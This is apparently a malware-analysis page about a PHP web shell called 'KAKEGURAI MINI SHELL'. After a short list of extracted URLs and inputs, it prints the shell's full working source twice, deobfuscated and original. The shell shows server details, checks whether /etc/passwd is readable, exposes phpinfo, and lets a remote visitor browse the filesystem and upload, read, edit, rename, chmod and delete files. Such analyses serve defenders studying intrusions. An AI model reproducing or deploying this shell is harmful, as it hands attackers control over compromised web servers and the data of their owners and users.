PHP Malware Analysis

Back to list

Tags

URLs
https://m.youtube.com/channel/UC8WX-5Nqbp8JX_go_y88lMA
https://d.top4top.io/p_18250ww350.jpg
https://g.top4top.io/p_1825r6iwh0.jpg
http://icon-park.com/imagefiles/folder_icon_green.png
http://icon-park.com/imagefiles/folder_icon_green.png
https://b.top4top.io/m_17923krtx0.mp3
https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/daun-berguguran.js
Title
KAKEGURAI MINI SHELL
Input
_GET
_POST
Environment
set_time_limit
error_reporting
getcwd

Deobfuscated code

<center><b><h1><font face="courier new" color="gold">WELCOME TO MINSHELL|| KAKEGURAI</font></h1></b></center>
<center><b><h4><font face="courier new" color="white">YT : LExz78 Official</font></h4></b></center>
<center><a href="https://m.youtube.com/channel/UC8WX-5Nqbp8JX_go_y88lMA"><img src="https://d.top4top.io/p_18250ww350.jpg" weight="250" height="250"/></a></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<center>
<?php 
$etc_passwd = @is_readable("/etc/passwd") ? "<b><span style=\"color:white\">ON </span></b>" : "<b><span style=\"color:red\"/>off </span></b>";
echo '<b><font color=red>Server IP  :   </b></font><b>' . $_SERVER['SERVER_ADDR'] . ' </b>';
echo '<b><font color=red>Your IP :  </b></font><b>' . $_SERVER['REMOTE_ADDR'] . '</b>';
echo "</br>";
echo "<b><font color=red>Safe Mode :  </font></b>";
// Check for safe mode
if (ini_get('safe_mode')) {
    print "<font color=#FF0000><b> ON</b></font>";
} else {
    print "<font color=#008000><b> OFF</b></font>";
}
echo "</br>";
echo "<b><font color=red>Read etc/passwd : </font></b><b>{$etc_passwd}</b>";
echo "<b><font color=red>Functions : </font><b>";
echo "<a href='{$php_self}?p=info'>PHP INFO </a>";
if (@$_GET['p'] == "info") {
    @phpinfo();
    exit;
}
?>
<br>
</center>
<?php 
set_time_limit(0);
error_reporting(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\r\n<title>KAKEGURAI MINI SHELL</title>\r\n<style>\r\nbody{\r\n    font-family: \"Arial\", cursive;\r\n    background-image:url(https://g.top4top.io/p_1825r6iwh0.jpg);\r\n    text-shadow:0px 0px 1px #757575;\r\n}\r\n#content tr:hover{\r\n    background-color: #636263;\r\n    text-shadow:0px 0px 10px #fff;\r\n}\r\n#content .first{\r\n    background-color: silver;\r\n}\r\n#content .first:hover{\r\n    background-color: gray;\r\n    text-shadow:0px 0px 1px #757575;\r\n}\r\ntable{\r\n    border: 1px #33f702 dotted;\r\n}\r\nH1{\r\n    font-family: \"Arial\", cursive;\r\n}\r\na{\r\n    color: #33f702;\r\n    text-decoration: none;\r\n}\r\na:hover{\r\n    color: #fff;\r\n    text-shadow:0px 0px 10px #ffffff;\r\n}\r\ninput,select,textarea{\r\n    border: 1px #999999 solid;\r\n    -moz-border-radius: 5px;\r\n    -webkit-border-radius:5px;\r\n    border-radius:5px;\r\n}\r\n</style>\r\n</HEAD>\r\n<BODY>\r\n\r\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr><td>\r\n<center>\r\n<font color=red><b>Current Path : </font></b>";
if (isset($_GET['y'])) {
    $path = $_GET['y'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?y=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?y=";
    for ($i = 0; $i <= $id; $i++) {
        echo $paths[$i];
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
echo "<a href=\"?\"><font color=red><b>&nbsp;&nbsp;&nbsp;Home </font></b></a></td></tr><tr><td>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"#30f209\">File Upload Done.</font><br />";
    } else {
        echo "<font color=\"red\">File Upload Error.</font><br />";
    }
}
echo "<center>";
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\n<b><font color=red>File Upload : </b></font><input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"upload\" />\r\n</form>\r\n</td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td><b><center><font color=red align=center>Current File :</font></b> ";
    echo '<a href="?filesrc=' . $path / $file . '&y=' . $path . '">' . $_GET[filesrc] . '</a>';
    echo "</tr></td></table><br />";
    echo '<textarea cols=90 rows=20 name="src">' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"green\">Change Permission Done.</font><br />";
            } else {
                echo "<font color=\"red\">Change Permission Error.</font><br />";
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"green\">Change Name Done.</font><br />";
            } else {
                echo "<font color=\"red\">Change Name Error.</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"green\">Edit File Done.</font><br />";
            } else {
                echo "<font color=\"red\">Edit File Error.</font><br />";
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo "</center>";
} else {
    echo "</table><br /><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"green\">Delete Dir Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete Dir Error.</font><br />";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"green\">Delete File Done.</font><br />";
            } else {
                echo "<font color=\"red\">Delete File Error.</font><br />";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n    <tr class=\"first\">\r\n        <td><center>Name</center></td>\r\n        <td><center>Size</center></td>\r\n        <td><center>Permissions</center></td>\r\n        <td><center>Options</center></td>\r\n    </tr>";
    foreach ($scandir as $dir) {
        if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
            continue;
        }
        echo "<tr>\r\n        <td><a href=\"?y={$path}/{$dir}\"><img width=33 height=44 src=\"http://icon-park.com/imagefiles/folder_icon_green.png\" />&nbsp;&nbsp;{$dir}</a></td>\r\n        <td><center>--</center></td>\r\n        <td><center>";
        if (is_writable("{$path}/{$dir}")) {
            echo "<font color=\"#ffffff\">";
        } elseif (!is_readable("{$path}/{$dir}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$dir}");
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n        <td><center><form method=\"POST\" action=\"?option&y={$path}\">\r\n        <select name=\"opt\">\r\n\t    <option value=\"\"></option>\r\n        <option value=\"delete\">Delete</option>\r\n        <option value=\"chmod\">Chmod</option>\r\n        <option value=\"rename\">Rename</option>\r\n        </select>\r\n        <input type=\"hidden\" name=\"type\" value=\"dir\">\r\n        <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\r\n        <input type=\"submit\" value=\">\" />\r\n        </form></center></td>\r\n        </tr>";
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file("{$path}/{$file}")) {
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo "<tr>\r\n        <td><a href=\"?filesrc={$path}/{$file}&y={$path}\"><img width=33 height=44 src=\"http://icon-park.com/imagefiles/folder_icon_green.png\" />&nbsp;&nbsp;{$file}</a></td>\r\n        <td><center>" . $size . "</center></td>\r\n        <td><center>";
        if (is_writable("{$path}/{$file}")) {
            echo "<font color=\"green\">";
        } elseif (!is_readable("{$path}/{$file}")) {
            echo "<font color=\"red\">";
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n        <td><center><form method=\"POST\" action=\"?option&y={$path}\">\r\n        <select name=\"opt\">\r\n\t    <option value=\"\"></option>\r\n        <option value=\"delete\">Delete</option>\r\n        <option value=\"chmod\">Chmod</option>\r\n        <option value=\"rename\">Rename</option>\r\n        <option value=\"edit\">Edit</option>\r\n        </select>\r\n        <input type=\"hidden\" name=\"type\" value=\"file\">\r\n        <input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n        <input type=\"submit\" value=\">\" />\r\n        </form></center></td>\r\n        </tr>";
    }
    echo "</table>\r\n    </div>";
}
echo "<br /><center><marquee direction=\"center\" behavior=\"alternate\"><b><h4><font face=\"courier new\" color=\"white\">LExz78 Official - Kakegurai Official - Mr.Cick3n</font></h4></b></marquee><br><audio src=\"https://b.top4top.io/m_17923krtx0.mp3\" controls=\"controls\" autoplays=\"autoplays\" type=\"audio/mpeg\"</audio></center>\r\n<script src=\"https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/daun-berguguran.js\" type=\"text/javascript\"></script>\r\n</BODY>\r\n</HTML>";
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}


Original code

<center><b><h1><font face="courier new" color="gold">WELCOME TO MINSHELL|| KAKEGURAI</font></h1></b></center>
<center><b><h4><font face="courier new" color="white">YT : LExz78 Official</font></h4></b></center>
<center><a href="https://m.youtube.com/channel/UC8WX-5Nqbp8JX_go_y88lMA"><img src="https://d.top4top.io/p_18250ww350.jpg" weight="250" height="250"/></a></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<center>
<?php
$etc_passwd = @is_readable("/etc/passwd") ? "<b><span style=\"color:white\">ON </span></b>" : "<b><span style=\"color:red\"/>off </span></b>";
echo '<b><font color=red>Server IP  :   </b></font><b>'.$_SERVER['SERVER_ADDR'].' </b>';
echo '<b><font color=red>Your IP :  </b></font><b>'.$_SERVER['REMOTE_ADDR'].'</b>';
echo "</br>";
echo "<b><font color=red>Safe Mode :  </font></b>";
// Check for safe mode
if( ini_get('safe_mode') ) {
  print '<font color=#FF0000><b> ON</b></font>';
} else {
  print '<font color=#008000><b> OFF</b></font>';
}
echo "</br>";
echo "<b><font color=red>Read etc/passwd : </font></b><b>$etc_passwd</b>";
echo "<b><font color=red>Functions : </font><b>";echo "<a href='$php_self?p=info'>PHP INFO </a>";
if(@$_GET['p']=="info"){@phpinfo();
exit;}
?>
<br>
</center>
<?

set_time_limit(0);
error_reporting(0);

if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>KAKEGURAI MINI SHELL</title>
<style>
body{
    font-family: "Arial", cursive;
    background-image:url(https://g.top4top.io/p_1825r6iwh0.jpg);
    text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}
#content .first{
    background-color: silver;
}
#content .first:hover{
    background-color: gray;
    text-shadow:0px 0px 1px #757575;
}
table{
    border: 1px #33f702 dotted;
}
H1{
    font-family: "Arial", cursive;
}
a{
    color: #33f702;
    text-decoration: none;
}
a:hover{
    color: #fff;
    text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
    border: 1px #999999 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>
</HEAD>
<BODY>

<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<center>
<font color=red><b>Current Path : </font></b>';
if(isset($_GET['y'])){
    $path = $_GET['y'];   
}else{
    $path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<a href="?y=/">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?y=';
    for($i=0;$i<=$id;$i++){
        echo $paths[$i];
        if($i != $id) echo "/";
    }
    echo '">'.$pat.'</a>/';
}
echo '<a href="?"><font color=red><b>&nbsp;&nbsp;&nbsp;Home </font></b></a></td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<font color="#30f209">File Upload Done.</font><br />';
    }else{
        echo '<font color="red">File Upload Error.</font><br />';
    }
}
echo '<center>';
echo '<form enctype="multipart/form-data" method="POST">
<b><font color=red>File Upload : </b></font><input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
    echo "<tr><td><b><center><font color=red align=center>Current File :</font></b> ";
    echo '<a href="?filesrc='.$path/$file.'&y='.$path.'">'.$_GET[filesrc].'</a>';
    echo '</tr></td></table><br />';
    echo('<textarea cols=90 rows=20 name="src">'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<font color="green">Change Permission Done.</font><br />';
            }else{
                echo '<font color="red">Change Permission Error.</font><br />';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<font color="green">Change Name Done.</font><br />';
            }else{
                echo '<font color="red">Change Name Error.</font><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="green">Edit File Done.</font><br />';
            }else{
                echo '<font color="red">Edit File Error.</font><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo '</center>';
}else{
    echo '</table><br /><center>';
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font color="green">Delete Dir Done.</font><br />';
            }else{
                echo '<font color="red">Delete Dir Error.</font><br />';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<font color="green">Delete File Done.</font><br />';
            }else{
                echo '<font color="red">Delete File Error.</font><br />';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr>';
    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        echo "<tr>
        <td><a href=\"?y=$path/$dir\"><img width=33 height=44 src=\"http://icon-park.com/imagefiles/folder_icon_green.png\" />&nbsp;&nbsp;$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="#ffffff">';
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
        
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&y=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }

        echo "<tr>
        <td><a href=\"?filesrc=$path/$file&y=$path\"><img width=33 height=44 src=\"http://icon-park.com/imagefiles/folder_icon_green.png\" />&nbsp;&nbsp;$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&y=$path\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '</table>
    </div>';
}
echo '<br /><center><marquee direction="center" behavior="alternate"><b><h4><font face="courier new" color="white">LExz78 Official - Kakegurai Official - Mr.Cick3n</font></h4></b></marquee><br><audio src="https://b.top4top.io/m_17923krtx0.mp3" controls="controls" autoplays="autoplays" type="audio/mpeg"</audio></center>
<script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/daun-berguguran.js" type="text/javascript"></script>
</BODY>
</HTML>';
function perms($file){
    $perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}
?>